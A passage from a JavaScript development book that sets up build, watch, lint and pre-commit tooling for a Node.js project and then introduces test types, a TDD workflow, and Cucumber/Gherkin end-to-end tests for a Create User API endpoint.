We can also create a serve script, which will build our application and then run it:

"scripts": {
  "build": "rm -rf dist/ && babel src -d dist",
  "serve": "yarn run build && node dist/index.js",
  "test": "echo \"Error: no test specified\" && exit 1"
}

When we integrate with testing frameworks and documentation tools in subsequent chapters, we will add even more scripts here.

Before we move on, we should try to ensure our npm scripts work across multiple platforms. So, if we have a developer working on a Mac, and another on a Linux machine, the script would work for both of them.

For example, if you want to remove the dist directory using cmd in Windows, you'd have to run rd /s /q dist; while using Ubuntu's default shell (Bash), you'll run rm -rf dist. To ensure our npm script will work everywhere, we can use a Node package called rimraf (https://www.npmjs.com/package/rimraf). First, install it:

$ yarn add rimraf --dev

And now update our build script to use rimraf:

"build": "rimraf dist && babel src -d dist",

At the moment, to see the final product, we have to run the build script after each time we modify our source code. While this is fine, it can be annoying and a time-waster. nodemon is a tool that monitors for changes in our code and automatically restarts the node process when a change is detected. This can speed up development and testing, as we no longer need to run the build and serve scripts manually. Furthermore, the API served from our machine will always be the most up-to-date version.

First, let's install nodemon:

$ yarn add nodemon --dev

Next, add a watch script that uses nodemon instead of node:

"scripts": {
  "build": "rimraf dist && babel src -d dist",
  "serve": "yarn run build && node dist/index.js",
  "test": "echo \"Error: no test specified\" && exit 1",
  "watch": "nodemon -w src --exec yarn run serve"
},

This command instructs nodemon to watch for file changes in the src directory and, whenever one is detected, to execute yarn run serve and restart our server.

Now, run yarn run watch, and make a small file change in src/index.js (for example, change the text returned in the response). Pay attention to the console and you'll see nodemon detecting changes and restarting our server:

[nodemon] restarting due to changes...
[nodemon] starting `yarn run serve`

Finally, we should take care to maintain a consistent code style throughout our project. Code styles are subjective, stylistic choices that do not alter the function of the program, for example, whether to use spaces or tabs, or whether to use camelCase or underscore_case when naming variables.

Having a consistent code style is important for the following reasons:

• It makes the code more readable.
• When working with others, contributors may override each other's style changes. For instance, contributor A may change all string literals to using single-quotes, and contributor B may change it back to double-quotes in a subsequent commit. This is a problem because:
  
  • Time and effort are wasted
  • It can lead to ill-feelings because no one likes their work being overwriten
  • Changes become hard to review, and the pertinent changes may be submerged under the stylistic changes.

Once a set of code style rules is defined, a linter can be used to enforce those rules. A linter is a static analysis tool that scans your code and identifies code styles that do not adhere to those rules, as well as identifying potential bugs that arise due to syntax errors.

ESLint is an open source linter for JavaScript. To use it, you would first document your rules inside a configuration file named .eslintrc. It is designed to be pluggable, which means developers can override the default rules and compose their own set of code style rules. Any violations can also be given a severity level of warning or error. It also provides useful features such as the --init flag, which initiates a wizard to help you compose your configuration file, as well as the --fix flag, which automatically fixes any violations that do not require human intervention.

Let's install ESLint and run its initiation wizard:

$ yarn add eslint --dev
$ npx eslint --init
? How would you like to configure ESLint?
 Use a popular style guide
  Answer questions about your style
  Inspect your JavaScript file(s)

For this project, we are going to be using Airbnb's JavaScript style guide, which you can find at https://github.com/airbnb/javascript. Therefore, use your arrow keys to select the Use a popular style guide option, and press the Return key. On the next question, select the Airbnb option:

? Which style guide do you want to follow? (Use arrow keys)
 Airbnb (https://github.com/airbnb/javascript)
  Standard (https://github.com/standard/standard)
  Google (https://github.com/google/eslint-config-google)

Next, it'll ask questions about React and the configuration format; select the No and JSON options, respectively:

? Do you use React? No
? What format do you want your config file to be in? JSON

Lastly, it will check whether we have the required dependencies installed, and if not, prompt us to install them. Select the Yes option here:

Checking peerDependencies of eslint-config-airbnb-base@latest
The config that you've selected requires the following dependencies:

eslint-config-airbnb-base@latest eslint@^4.19.1 || ^5.3.0 eslint-plugin-import@^2.14.0
? Would you like to install them now with npm? Yes

This completes the wizard, and you should now see an .eslintrc.json file at the root of your repository, which simply reads as follows:

{
    "extends": "airbnb-base"
}

Now, let's run eslint on our src/index.js to discover problems with our code:

$ npx eslint src/index.js

/home/dli/.d4nyll/.beja/final/code/6/src/index.js
  1:8 error Strings must use singlequote quotes
  2:1 error Expected 1 empty line after import statement not followed by another import import/newline-after-import
  3:24 warning Unexpected unnamed function func-names
  4:22 error A space is required after '{' object-curly-spacing
  4:51 error A space is required before '}' object-curly-spacing
  6:2 error Missing semicolon semi
  8:21 error Newline required at end of file but not found eol-last

 8 problems (7 errors, 1 warning)
  6 errors and 0 warnings potentially fixable with the `--fix` option.

Follow the instructions and fix those issues, or pass the --fix flag to have ESLint fix the issues for you automatically. At the end, you should end up with a file that looks like this:

import '@babel/polyfill';
import http from 'http';

function requestHandler(req, res) {
  res.writeHead(200, { 'Content-Type': 'text/plain' });
  res.end('Hello, World!');
}
const server = http.createServer(requestHandler);
server.listen(8080); // Note that there is a newline below this line

Just as we did with the build, serve, and watch npm scripts, we can add a fix and lint script into our package.json:

"scripts": {
    ...
    "fix": "eslint src --fix",
    "lint": "eslint src",
    ...

Now, we can run yarn run lint to lint our entire project.

While we can run ESLint manually, it would be even better for developer experience if these errors were pointed out as we are developing. To do that, we can install an ESLint extension for your code editor or IDE. For example, the Visual Studio Code ESLint Extension will add red and yellow squiggly lines below any violations:

There are a lot more integrations available for editors and build tools; you can find a comprehensive list at https://eslint.org/docs/user-guide/integrations.

However, we're not quite finished yet. Many developers are careless and forgetful. Even with eslint installed and the extension configured, they may still forget to run the lint command before committing badly styled code. To help them, we can implement Git hooks, which are programs that are triggerred to run at defined points in Git's execution.

By default, Git hooks are stored inside the .git/hooks directory. If you look inside the directory, you'll find many sample hooks with the .sample file extension. The one we are interested in is the pre-commit hook, which is executed after the git commit command is issued, but before the actual commit is made.

Hooks are written as a shell script. For the pre-commit hook, we can abort the commit by returning a non-zero exit code. Conveniently, when ESLint detects code style violations, it will exit with a status code of 1; therefore, in our script, we can simply return the exit code returned by eslint. When writing a hook manually, you should take care to only use syntax that abides by the POSIX standard, because other developers may use a different type of shell from you.

However, if writing shell scripts manually sounds like too much work for you, there's a tool called Husky, which hugely simplifies the process for us. Let's install it:

$ yarn add husky --dev

Husky will insert its own Git hooks into our project. In these hooks, it will check our package.json for scripts with special names and run them. For instance, our pre-commit hook will check for a script named precommit. Therefore, to run our lint command with Husky, all we have to do is add a new npm script called precommit:

"scripts": {
    ...
    "precommit": "yarn run lint",
    ...

Now, if we try to commit any badly formatted code, it will throw an error and abort:

...
error Command failed with exit code 1.
husky > pre-commit hook failed (add --no-verify to bypass)

We have finished bootstrapping our project by setting up an HTTP server and enabling ourselves to write in ES6. So, let's actually commit this block of code into Git.

Let's run git status to see which files we can track in our Git repository:

$ git status
Untracked files:
  .babelrc
  .eslintrc.json
  .nvmrc
  dist/
  node_modules/
  package.json
  src/
  yarn.lock

The list of files listed by the git status command includes the node_modules/ and dist/ directories, both of which do not constitute the core logic of our application. Furthermore, they can be regenerated from our source code—node_modules/ from the package.json and yarn.lock files, and dist/ from the src/ directory. Moreover, the node_modules/ directory can be very large, as it includes a copy of all third-party libraries we are depending on in our application. Therefore, let's make sure the node_modules/ and dist/ directories are not tracked in our Git repository.

Git allows for a special .gitignore file that allows us to specify which files Git should ignore. So, create a .gitignore file at the project root directory, and add the following lines:

node_modules/
dist/

Now, when we run git status again, node_modules/ and dist/ are gone from our list, and .gitignore is added:

$ git status
Untracked files:
  .babelrc
  .eslintrc.json
  .gitignore
  .nvmrc
  package.json
  src/
  yarn.lock

Apart from the node_modules/ and dist/ directories, there will be many other files we'll eventually want Git to ignore; for example, a yarn-error.log is generated whenever yarn encounters an error. It is for our information only and should not be tracked on Git. While we can keep adding more and more lines to the .gitignore file as is required, many others working with Node.js have already worked together to compile a list of common files and directories that most projects should ignore; we can use that as a basis and modify it as needed.

Go to github.com/github/gitignore/blob/master/Node.gitignore and replace our .gitignore file with the content of the Node.gitignore file; but remember to add the dist/ entry back at the end.

Now, let's add everything to the staging area and commit them:

$ git status
Untracked files:
 .babelrc
 .eslintrc.json
 .gitignore
 .nvmrc
 package.json
 src/
 yarn.lock
$ git add -A
$ git commit -m "Initial project setup"

At the start of this chapter, we looked at the difference between CommonJS and ES6 modules, and settled on using the new ES6 module syntax, which uses the import and export keywords.

Next, we installed Node on our machine using nvm, and got acquainted with the npm and yarn package managers. We then set up a simple HTTP server using the native http Node module. After that, we used Babel to transpile our ESNext code into a syntax supported by our local environment. We also set up nodemon to watch for changes in our code and restart the server whenever a change is detected. Lastly, we incorporated ESLint to spot problems in our code, and use a pre-commit Git hook to run the linter automatically before each commit.

In the next chapter, we will be following a test-driven development (TDD) approach to develop our API server, to provide functionalities for clients to create, read, update, and delete (CRUD) user objects on our database, using ElasticSearch as our data storage solution.

In general, each subsequent chapter will incorporate a new set of tools to the application. The book will focus first on the backend, server-side code, later moving on to frontend, client-side code, before rounding off the book by looking at implementing an automated deployment process.

In the previous chapter, Chapter 4, Setting Up Development Tools, we successfully bootstrapped our project. In this chapter, we'll begin the development of our user directory API, which simply consists of Create, Read, Update, and Delete (CRUD) endpoints.

In Chapter 1, The Importance of Good Code, we discussed the importance of testing and briefly outlined the principles and high-level processes of Test-Driven Development (TDD). But theory and practice are two very different things. In this chapter, we will put the TDD approach into practice by first writing End-to-End (E2E) tests, and then using them to drive the development of our API. Specifically, we will do the following:

• Learn about different types of test
• Practice implementing a TDD workflow, specifically following the Red-Green-Refactor cycle
• Write E2E tests with Cucumber and Gherkin

First, let's learn about the different types of tests and how they all fit into our project's workflow. The first thing to note is that some tests are more technically-focused, while others are more business-focused; some tests are only concerned with a very small part of the whole system, while others test the system as a whole. Here's a brief overview of the most common types of tests you'll encounter:

• Unit tests: These test the smallest testable parts of an application, called units. For example, if we have a function called createUser, we can write a unit test that tests that the function always returns a promise.
  With unit tests, we are only concerned with the function of the unit, independent of external dependencies. If the unit has external dependencies, such as a database, we must substitute the real database client with a fake one. This fake client must be able to mimic the behavior of the database adequately so that, from the perspective of the unit under test, the fake behaves in the same way as the authentic database.
  We will talk more about fakes later, but the important takeaway is that unit tests test a small and specific component of the whole code base, using minimal (or no) dependencies, and without calling other parts of the application (that is, there are no side-effects).
• Integration tests: These test whether different units can work together as a single, larger ensemble. To continue our example, the createUser function may rely on the Auth module to check whether the client has permission to create the user. We can create a test case where createUser is called with an unauthenticated client, and assert that the function throws an error.
  Integration tests test the integration between two or more units and ensure they are compatible. In our example, if the Auth module changes the data structure of its response payload, and we forget to update our createUser method to consume this new data structure, the integration test should fail, alerting us to fix it.
• E2E/functional tests: These test the flow of an application from start to finish, acting as if we are the end consumers. In our example, we'd attempt to create a new user by actually sending a POST request to the /users endpoint, because that's how our end users would actually interact with our API. After the call, we'd check the database to ensure that a user document is indeed created and conforms to the expected data structure.
• User interface (UI) tests: For applications that include a frontend component, UI tests are automated tests that mimic the behavior of real users interacting with the UI, such as scrolling and clicking. You may use generic browser automation tools such as Selenium (https://www.seleniumhq.org/), or framework-specific tools such as Enzyme (airbnb.io/enzyme/, used for React applications).
• Manual tests: These are tests that cannot be automated. Manual tests should be kept to a minimum as they are not deterministic and there's a high cost to running them. Apart from catching bugs, manual tests can also unearth scenarios that are unintuitive and/or bad for user experience (UX).
• Acceptance tests: These differ from the other tests that have already been outlined because they are more focused on business needs. They are a list of business requirements (as opposed to functional requirements), laid out by the business stakeholders, that the platform must fulfill. For example, one such requirement might read "95% of all visitors must be able to load the page within 3 seconds".
  This is not a purely technical requirement, but it drives the technical decisions that are to be made. For example, the development team may now be required to install analytics libraries to collect data on the load times of the site for all visitors, and to prioritize optimizing the site over developing new features.
  Parts of the acceptance tests may be written in a Behavior-Driven Development (BDD) format, which focuses on the steps that an actual user may take when interacting with the platform. One such requirement may read "Given a user has successfully authenticated and he is on a product page, when he clicks the Add to Cart button, then that product should be added to the cart". Then, when this requirement is verified, either through automated and/or manual testing, it would pass the acceptance test.
  Think of acceptance tests as a final stage of the development process, when the business stakeholder accepts the work as complete.

Unit testing is the most granular form of testing, as it addresses the lowest possible level of detail of your project. Unit tests give you confidence in a very small part of your application, but are also the quickest to run, as they do not depend on other modules, databases, filesystems, or the network.

Therefore, you can set up your unit tests to run every time a change is made to your code; this will provide timely feedback as you develop.

Granularity decreases as you move to integration tests and E2E tests. These tests give you confidence in a larger part of your project, but are also slower to run.

Therefore, when we design our test suite, we should find a balance between writing unit, integration, and E2E tests. In Chapter 1, The Importance of Good Code, we briefly mentioned the concept of the Testing Pyramid; let's apply it here and make sure that our test suite contains a lot of unit tests, fewer integration tests, and the fewest E2E tests.

A common misinterpretation of TDD and the Testing Pyramid is that unit tests are more important than E2E tests, and that you should start writing unit tests first. This is wrong. TDD only requires you to write tests first, but does not specify the type of test you must use. The Testing Pyramid simply encourages you balance your test suite to have more granular tests; it does not specify the importance or order for which you test.

In fact, when implementing a new feature, E2E tests are the most important tests, and should be the first test you write when composing your test suite. E2E tests mimic how your end users would interact with the project, and are often tied to the business requirements. If your E2E tests pass, it means the feature you are developing is working.

Moreover, it's often impractical to write your unit tests first. A unit tests concerns itself with implementation details, but there are many ways to implement a set of features and our first solutions are often substandard. It is likely to undergo many iterations of changes before it becomes stable. Since unit tests are coupled to the implementation they are testing, when the implementation changes, the unit tests would be discarded.

Therefore, when implementing new features, E2E tests should be written first; unit and integration tests should be written only after the implementation has settled.

Finally, E2E tests and unit tests are not mutually exclusive. For example, if you are writing a library that exports as single utility function, then your E2E tests are your unit tests.

This is because your end users would interact with your unit directly, making E2E and unit tests one and the same. Therefore, always keep your target audience in mind, and think about how they'll interact with your project. Use the appropriate type of tests to define contracts/interfaces with the end consumers, and use these test to drive your development.

Since we are developing new features, this chapter will focus on E2E tests. Unit and integration tests will be covered in the next chapter, TDD Part II: Unit/Integration Tests; and UI testing with Selenium will be covered in Chapter 15, E2E Testing with React. Manual tests are not programmable and thus earn only a brief mention at the end of this section.

Next, let's examine a typical TDD workflow, and see how the different types of tests fit into it.

The TDD workflow starts with the product manager gathering business requirements from the business stakeholders, and then liaising with the technical team to refine these requirements, taking into account feasibility, costs, and time constraints.

The scope of the requirements should be small. If the application is large, the product manager should prioritize the requirements by importance and urgency, and group them into phases. The first phase should contain the highest priority requirements, which would be implemented first.

These requirements should be well-defined and unambiguous, so that there's no room for (mis)interpretation. This means they should quantified as much as possible. For example, instead of "the app must load quickly", it should say "the app must load within 1 second on an iPhone 5S".

Secondly, the requirement-gathering stage should be a joint-process involving many teams. Developers, designers, product managers, and business owners all provide different expertise and points of view. By allowing everyone to give feedback on the scope, timeline, and overall business strategy, it could help the team set realistic expectations and avoid common pitfalls.

Once everyone has agreed on the requirements for the current phase, it is extremely important that they are formally documented. When everyone involved understands the requirements, it's very tempting to not write them down; after all, it's a boring chore that no one wants to do. One may even argue that it slows down development unnecessarily. However, we must fight against that temptation and be disciplined because of the following reasons:

• People have bad memories: I once read a tongue-in-cheek comment from an online discussion that said "Good programmers have good minutiae memory. Great programmers have good gestalt memory. Legendary programmers have no memory at all." Don't rely on your memory—write down the requirements!
• It prevents misinterpretation.
• A formalized requirement provides a Single Source of Truth (SSoT): In development, change is often the only constant. It is inevitable that requirements will change. 99% of the problems with requirement changes lies in not communicating that change with everyone, resulting in different team members having different, possibly conflicting, snapshots of the requirements. By having a single document that acts as an SSoT, we can ensure everyone has access to the latest, and the same, information.
• A formalized requirement can be improved: If there are areas of ambiguity, the language of the requirement can be revised to be more explicit. If someone forgot an important point, they can add it as an addendum.

Finally, having a set of formal requirements is only helpful if it is kept up to date. It is very important that a single person is put in sole charge of maintaining the requirements document. Otherwise, everyone may assume someone else will update it, but then no one does. Out-of-date requirements may be worse than no requirements at all, if the old version conflicts with the most up-to-date version.

However, this does not mean the person in charge has to be the one to actually update the document itself; he/she may appoint someone more suitable to do the task. But the point is that, ultimately, it is his/her responsibility to make sure the requirements are up to date.

The requirements outline the high-level goals that the business wants the application to achieve, but it does not have sufficient details for developers to start implementation straight away. Requirements are imprecise and do not translate well into code, which is very explicit.

Instead, developers need to understand the overall business goal, and the current sets of requirements, and produces a more detailed set of technical specifications. A specification should contain sufficient technical details needed by developers to begin implementation.

In our case, the overall goal of the project is to "Create a web application that allows users to log in and update their profiles."; and the first requirement may be to "create an API server with an endpoint to create new users". You should now think about how to structure the application. For example, you may split the application into the following modules:

• Authentication: To allow users to register and log in
• Profile: To allow users to edit their own profile and view the profile of others
• Database(s): To store user data
• API server: The interface between our internal services and external consumers

With the structure of the application on the back of your mind, we can now move on to writing the specification. As we've already mentioned in Chapter 1, The Importance of Good Code, the best specifications are tests, so let's write some tests!

Tests are the best form of specification because:

• Tests can be run, which means you can programmatically verify your implementation against your specification. If the tests pass, your implementation conforms to the specification.
• Tests are an integral part of the code (that is, Specification-as-Code (SaC)). There is less chance that your specification becomes outdated, because if it does, the test would fail.

Therefore, we can write our technical specifications as E2E tests, which then drives the TDD development process.

As soon as the first E2E test for our selected feature has been written, the TDD process can begin. We should now run the test, see it fail, implement the feature so it passes the test, and then refactor. Unit and integration tests should be written, where appropriate, to increase confidence in the code.

Repeat this process for every test case until the current set of features has been fully implemented.

As we are developing our feature, the product manager should also be defining manual tests. Manual tests are required because not all requirements can be automated, and some may require real user data (for example, usability testing). For example, part of the acceptance criteria may be that "95% of users are able to find the settings page within 5 seconds". In these scenarios, manual testing is required.

Although we cannot automate this process, we can formalize it in a structured way. Instead of writing down the requirements in a text document, we can use test case management tools, such as TestLink (testlink.org), as well as proprietary alternatives, such as TestRail (gurock.com/testrail/), qTest (qasymphony.com/software-testing-tools/qtest-manager/), Helix TCM (perforce.com/products/helix-test-case-management), Hiptest (hiptest.net), PractiTest (practitest.com), and many more. These test case management systems help you define, run, and record test cases.

Each test should contain a set of clear, unambiguous steps to follow. A group of testers, who, ideally, have no prior knowledge of the platform, would then be given the instructions, the expected results, and be asked whether the results obtained match the expected ones.

Lastly, you may simply ask manual testers to poke around the application, or explore the API themselves, without being given any steps to follow. This is called exploratory testing and may be grouped under manual testing. The purpose of exploratory testing is to identify edge cases that were missed, identify unintuitive outcomes, or find bugs that may otherwise break the system.

Inevitably, all applications, no matter how well tested, will have bugs and areas of improvement. An essential part of any workflow is to allow users to report bugs, raise issues, and ask questions. As an extension to this, we also need a system to triage these issues, prioritizing them based on the following:

• Impact: How many users are impacted? How important are these users?
• Ease: How easy is it to fix?
• Urgency: How time-sensitive is this issue?

This can be done through platforms such as GitHub's issue trackers, Atlassian's JIRA, or similar software.

When a bug is reported, it should be reproduced and confirmed. Once confirmed, test cases that cover that scenario should be written to prevent regression in the future. For example, if the bug is that the age field is returned as a float, a test case should be written to test that the age field is always a positive integer.

Now that we understand the workflow, let's put it into practice!

We begin by selecting a small portion of our application and defining its requirements. We picked the Create User feature because many other features depend on it. Specifically, the feature requires us to create an API endpoint, /users, that accepts POST requests, and stores the JSON payload of the request (representing the user) into a database. In addition, the following constraints should be applied:

• The user payload must include the email address and password fields
• The user payload may optionally provide a profile object; otherwise, an empty profile will be created for them

Now that we have our requirements, let's write our specification as E2E tests, using a tool called Cucumber.

Cucumber is an automated test runner that executes tests written in a Domain-Specific Language (DSL) called Gherkin. Gherkin allows you to write tests in plain language, usually in a behavior-driven way, which can be read and understood by anyone, even if they are not technically-minded.

There are many Cucumber implementations for different languages and platforms, such as Ruby, Java, Python, C++, PHP, Groovy, Lua, Clojure, .NET and, of course, JavaScript. The JavaScript implementation is available as an npm package, so let's add it to our project:

$ yarn add cucumber --dev

We are now ready to write the specification for our first feature.

To use Cucumber, you'd first separate your platform into multiple features; then, within each feature, you'd define scenarios to test for. For us, we can take the "Create user" requirement as one feature, and start breaking it down into scenarios, starting with the following:

• If the client sends a POST request to /users with an empty payload, our API should respond with a 400 Bad Request HTTP status code and a JSON object payload containing an appropriate error message
• If the client sends a POST request to /users with a payload that is not JSON, our API should respond with a 415 Unsupported Media Type HTTP status code and a JSON response payload containing an appropriate error message
• If the client sends a POST request to /users with a malformed JSON payload, our API should respond with a 400 Bad Request HTTP status code and a JSON response payload containing an appropriate error message

We will define more scenarios later, but let's focus on these three to get us started.

Each feature should be defined, using the Gherkin language, within its own .feature file. So, let's create one now.

$ cd <project-root-dir>
$ mkdir -p spec/cucumber/features/users/create
$ touch spec/cucumber/features/users/create/main.feature

Now, let's translate the scenarios for our Create User feature into Gherkin.

In Gherkin, every non-empty line starts with a Gherkin keyword (although there are several common exceptions). We will go over the relevant keywords in more detail when we use them, but here's a brief overview of each keyword and its uses:

• Feature: Specifies the name and description of the feature. A feature is just a way to group related scenarios together.
• Scenario: Specifies the name and description of the scenario.
• Given, When, Then, And, But: Each scenario is made up of one or more steps, each corresponding to a JavaScript function that is to be executed by Cucumber. If, after executing all the steps, no errors were thrown, then the test is deemed to have passed. The five step keywords are equivalent; you should use the one that makes your test most readable.
• Background: Allows you to set up a common environment to execute all your scenarios. This saves you from defining duplicate set-up steps for all scenarios.
• Scenario Outline: Allows you to define a template for multiple scenarios that differ only in certain values. This prevents specifying many scenarios/steps that are very similar to each other.
• Examples: When using scenario outline, the Examples keyword allows you to specify values to plug into the scenario outline.
• """: Allows you to use doc strings to specify multiline strings as parameters.
• |: Allows you to specify more complex data tables as parameters.
• @: Allows you to group related scenarios together using tags. After tagging scenarios, you can instruct Cucumber to execute only those with a certain tag, or, conversely, exclude tests with certain tags.
• #: Allows you to specify comments, which will not be executed by Cucumber.

So, let's start defining our feature by adding a name and description to spec/cucumber/features/users/create/main.feature:

Feature: Create User

 Clients should be able to send a request to our API in order to create a
 user. Our API should also validate the structure of the payload and respond
 with an error if it is invalid.

Next, we'll write our first scenario and steps. As a reminder, the scenario is "If the client sends a POST request to /users with an empty payload, our API should respond with a 400 Bad Request HTTP status code, and a JSON object payload containing an appropriate error message".

Feature: Create User

  Clients should be able to send a request to our API in order to create a
  user. Our API should also validate the structure of the payload and respond
  with an error if it is invalid.

  Scenario: Empty Payload

  If the client sends a POST request to /users with a unsupported payload, it
  should receive a response with a 4xx status code.

  When the client creates a POST request to /users
  And attaches a generic empty payload
  And sends the request
  Then our API should respond with a 400 HTTP status code
  And the payload of the response should be a JSON object
  And contains a message property which says "Payload should not be empty"

We have broken the scenario down into modular units called steps and prefixed them with the Gherkin keywords. Here, we've used the keywords When, Then, and And, although we could have used any of the five keywords; we chose these because it makes the specification more readable.

Generally, you can group steps into three categories:

• Setup: Used to set up the environment in preparation for an action to be executed. Usually, you'd use the Given keyword to define setup steps.
• Action: Used to execute an action, which is usually the event we are testing for. You'd typically use the When keyword to define action steps.
• Assertions: Used to assert whether the actual outcome of the action is the same as the expected outcome. Usually, you'd use the Then keyword to define assertion steps.

Furthermore, you can use the And and But keywords to chain multiple steps together and make the specification more readable. But, remember that all step keywords are functionally equivalent.

With the help of Gherkin, we now have our specification written in plain English. Next, let's try to use Cucumber to run our specification.

By default, Cucumber will look for a directory called features in the project's root directory and run the .feature files it finds inside. Since we have placed our main.feature file inside the spec/cucumber/features directory, we should pass this path to Cucumber:

$ npx cucumber-js spec/cucumber/features
UUUUUU

Warnings:
1) Scenario: Empty Payload
   ? When the client creates a POST request to /users
       Undefined.
   ? And attaches a generic empty payload
       Undefined.
   ? And sends the request
       Undefined.
   ? Then our API should respond with a 400 HTTP status code
       Undefined.
   ? And the payload of the response should be a JSON object
       Undefined.
   ? And contains a message property which says "Payload should not be 
   empty"
       Undefined.

1 scenario (1 undefined)
6 steps (6 undefined)

The test result informs us that our tests are undefined. This is because Cucumber is not clever enough to parse the plain text specification and figure out how to run these tests. We must link these steps to actual JavaScript code, which, in the context of Cucumber, are called step definitions.

Create a new directory called steps next to the features directory; here's where we'll define all our step definitions:

$ mkdir -p spec/cucumber/steps

Defining steps inside their own directory helps us to mentally dissociate steps from being tied to any particular feature, and keep steps as modular as possible. Create an index.js file within the steps directory and add the following placeholder step definitions:

import { When, Then } from 'cucumber';

When('the client creates a POST request to /users', function (callback) {
  callback(null, 'pending');
});

When('attaches a generic empty payload', function (callback) {
  callback(null, 'pending');
});

When('sends the request', function (callback) {
  callback(null, 'pending');
});

Then('our API should respond with a 400 HTTP status code', function (callback) {
  callback(null, 'pending');
});

Then('the payload of the response should be a JSON object', function (callback) {
  callback(null, 'pending');
});

Then('contains a message property which says "Payload should not be empty"', function (callback) {
  callback(null, 'pending');
});

{
  "rules": {
      "func-names": "off",
      "prefer-arrow-callback": "off"
  }
}

Each step definition consists of the step keyword method (When/Then and so on), which takes in two parameters. The first one is the pattern, which is a string that is used to match the text in the feature specification with the step definition. The second parameter is the code function, which is a function that is run for that step.

In our example, when Cucumber gets to the When the client creates a POST request to /users step in our scenario, it will try to run the function associated with the When('the client creates a POST request to /users') step definition, because the pattern matches the step description.

Before we implement the logic behind each step definition, let's make sure our setup is working. By default, Cucumber will look for step definitions inside a root-level features/ directory; since we placed our definitions in a different directory, we must use the --require flag to tell Cucumber where to find them.

Run npx cucumber-js spec/cucumber/features --require spec/cucumber/steps to trigger the tests:

$ npx cucumber-js spec/cucumber/features --require spec/cucumber/steps
spec/cucumber/steps/index.js:1
(function (exports, require, module, __filename, __dirname) { import { Given, When, Then } from 'cucumber';
                                                              ^^^^^^
SyntaxError: Unexpected token import

It returns with a SyntaxError: Unexpected token import error. This is because we are not using Babel to transpile the code before running it, and so the import ES6 keyword is not supported. This is where the @babel/register package is useful: it allows us to instruct Cucumber to use Babel as the compiler to process our step definitions before running them.

First, let's install the @babel/register package as a development dependency:

$ yarn add @babel/register --dev

Now, we can run cucumber-js again with the --require-module flag and it should be able to find and run our step definitions:

$ npx cucumber-js spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps
P-----

Warnings:
1) Scenario: Empty Payload
   ? When the client creates a POST request to /users
       Pending
   - And attaches a generic empty payload
   - And sends the request
   - Then our API should respond with a 400 HTTP status code
   - And the payload of the response should be a JSON object
   - And contains a message property which says "Payload should not be empty"

1 scenario (1 pending)
6 steps (1 pending, 5 skipped)

Behind the scenes, Cucumber would first execute all the step definition functions (When and Then), register the code function, and associate it with the corresponding pattern. Then, it will parse and run the feature files, attempting to match the string with step definitions that it has registered.

Here, the test result reads pending because we have not implemented the code function for each step definition, which we will do in the next section. But before that, let's first formalize our E2E test command into an npm script, to save us all that typing:

"test:e2e": "cucumber-js spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps",

Now we have set up the infrastructure for running E2E tests, it'd be a perfect time to commit our code. First, let's create the dev branch:

$ git branch dev

Then, check out the new feature branch, create-user/main, and commit our changes to the repository:

$ git checkout -b create-user/main
$ git add -A
$ git commit -m "Set up infrastructure for Cucumber E2E tests"

To test our API server, we would need to run the server itself and send HTTP requests to it. There are many ways to send requests in Node.js:

• Using the request method provided by Node's native http module.
• Using the new Fetch Web API syntax: fetch is an improvement on the traditional XMLHttpRequest used to make AJAX (Asynchronous JavaScript And XML) requests from the client. We can use polyfills, such as isomorphic-fetch (https://www.npmjs.com/package/isomorphic-fetch), which will allow us to use the same syntax on the server.
• Using a library, such as request (https://www.npmjs.com/package/request), superagent (npmjs.com/package/superagent), axios (npmjs.com/package/axios), and many more.

Using the native http module allows us to be as expressive as possible because it works at the lowest-level API layer; however, this also means the code is likely to be verbose. Using the Fetch API might provide a simpler syntax, but it will still have a lot of boilerplate code. For example, when we receive a response, we must explicitly tell our code how we want to parse it.

For our use cases, using a library is probably the most appropriate. Libraries are more opinionated but they also save you from writing the same lines repeatedly; for example, response payloads are parsed automatically in most libraries. Of all the available libraries, I've found that superagent is the most suitable for our tests because it allows you to compose a request by chaining multiple steps together. To demonstrate, the following is the example given in superagent's README.md file:

request
  .post('/api/pet')
  .send({ name: 'Manny', species: 'cat' }) // sends a JSON post body
  .set('X-API-Key', 'foobar')
  .set('accept', 'json')
  .end((err, res) => {
    // Calling the end function will send the request
  });

This allows us to initiate a request object at the beginning, and each step in our scenario can simply modify that object to collectively compose the final request that we send to our test API server. Without further ado, let's install superagent:

$ yarn add superagent --dev

For the first call to our server, we have broken it down into three steps:

1. When the client creates a POST request to /users
2. And attaches a generic empty payload
3. And sends the request

In the first step, we will create a new request object and save it as a file-scoped variable, making it available to be accessed by subsequent steps. In the second, we will attach an empty payload to the request; however, this is already the default behavior of superagent, so we can simply return from the function without doing anything. In the third step, we will send the request and save the response in another variable.

You should now update the start of your spec/cucumber/steps/index.js file to the following snippet:

import superagent from 'superagent';
import { When, Then } from 'cucumber';
let request;
let result;
let error;

When('the client creates a POST request to /users', function () {
  request = superagent('POST', 'localhost:8080/users');
});

When('attaches a generic empty payload', function () {
  return undefined;
});

When('sends the request', function (callback) {
  request
    .then((response) => {
      result = response.res;
      callback();
    })
    .catch((errResponse) => {
      error = errResponse.response;
      callback();
    });
});

Our third step definition involves sending a request to the server and waiting for a response; this is an asynchronous operation. To ensure the next step won't run before this asynchronous operation is complete, we can pass a callback function into the code function as its last parameter. Cucumber will wait for the callback function to be called before moving on to the next step. Here, we are executing the callback only after the result has been returned and we have saved it to the result variable.

Now, when we run our E2E tests again, the first three steps should pass.

$ yarn run test:e2e
...P--

Warnings:
1) Scenario: Empty Payload
    When the client creates a POST request to /users
    And attaches a generic empty payload
    And sends the request
   ? Then our API should respond with a 400 HTTP status code
   - And the payload of the response should be a JSON object
   - And contains a message property which says "Payload should not be empty"

1 scenario (1 pending)
6 steps (1 pending, 2 skipped, 3 passed)

Now, let's move on to our next step definition, which is an assertion step. In there, we should assert that the response from our server should have a 400 HTTP status code:

Then('our API should respond with a 400 HTTP status code', function () {
  if (error.statusCode !== 400) {
    throw new Error();
  }
});

Now, with our API server running in the background, run our E2E tests again. You should see the result of the second step changing from pending to failed:

$ yarn run test:e2e
...F--

Failures:
1) Scenario: Empty Payload
    When the client creates a POST request to /users
    And attaches a generic empty payload
   And sends the request
   Then our API should respond with a 400 HTTP status code
       {}
       Error
           at World.<anonymous> (spec/cucumber/steps/index.js:28:11)
   - And the payload of the response should be a JSON object
   - And contains a message property which says "Payload should not be empty"

1 scenario (1 failed)
6 steps (1 failed, 2 skipped, 3 passed)

